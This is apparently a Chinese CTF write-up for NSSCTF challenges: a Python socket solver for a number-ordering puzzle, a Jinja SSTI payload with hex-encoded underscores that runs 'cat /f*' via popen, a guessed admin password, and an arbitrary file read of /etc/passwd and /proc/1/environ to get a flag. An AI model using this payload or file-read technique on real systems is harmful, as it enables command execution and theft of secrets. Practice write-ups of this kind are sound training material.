WP记录。
mycode
import socket
from functools import cmp_to_key
import time# 服务器信息
HOST = "node2.anna.nssctf.cn"
PORT = 28134def custom_compare(x, y):"""定义排序规则: 确定 x 和 y 的拼接顺序"""return -1 if x + y < y + x else 1def solve_min_number(numbers):"""计算能拼接出的最小数"""sorted_numbers = sorted(numbers, key=cmp_to_key(custom_compare))return "".join(sorted_numbers).lstrip("0") or "0"def main():# 连接到服务器with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:try:s.connect((HOST, PORT))s.settimeout(5) # 设置接收超时为5秒print("连接成功,开始处理数据...")while True:try:data = s.recv(4096).decode() # 接收服务器数据if not data:print("没有接收到数据,可能是服务器断开了连接。")break print("[服务器]:", data)if "Numbers:" in data:numbers_line = data.split("Numbers:")[1].split("Smallest:")[0].strip()numbers = numbers_line.split()print("[解析后数字]:", numbers)result = solve_min_number(numbers)print("[计算最小数]:", result)s.sendall((result + "\n").encode())response = s.recv(4096).decode()print("[服务器回复]:", response)if "Smallest:" in response:continue# 如果没有更多的问题,退出循环if "exit" in response or not response:breakexcept socket.timeout:print("连接超时,重新尝试...")time.sleep(5) s.connect((HOST, PORT)) # 重新连接服务器except Exception as e:print(f"连接失败或发生错误: {e}")if __name__ == "__main__":main()
upload?SSTI
下划线使用十六进制编码/x5f
绕过,关键字用拼接绕过
传入一个txt文件,这里命名为1.txt,写入payload:
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubc'+'lasses\x5f\x5f']()[137]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglo'+'bals\x5f\x5f']['popen']('cat /f*').read()}}
然后访问目录/file/1.txt
即可
搜索mysql,在11872数据包中找到数据库密码:9c2a09cdfcbd7da7d306ffbf77dad8608ee92bea
在11999中发现重要数据:Th1s_1s_Imp0Rt4Nt_D4Ta
pickle
登录口没有其他有用信息,猜测用户名为admin,爆破密码,得到密码为admin123
登录进去之后,在注释里面看到提示session pickle(但是没先看这里)
点击获取flag按钮抓包可以看到传了一个filename参数
尝试任意文件读取,读取一下/etc/passwd
,发现可以可以读到
这里存在非预期解,直接读取环境变量/proc/1/environ
,得到flag
NSSCTF{48c8bdf1-d55e-4b1c-bb08-ba6c212efd0c}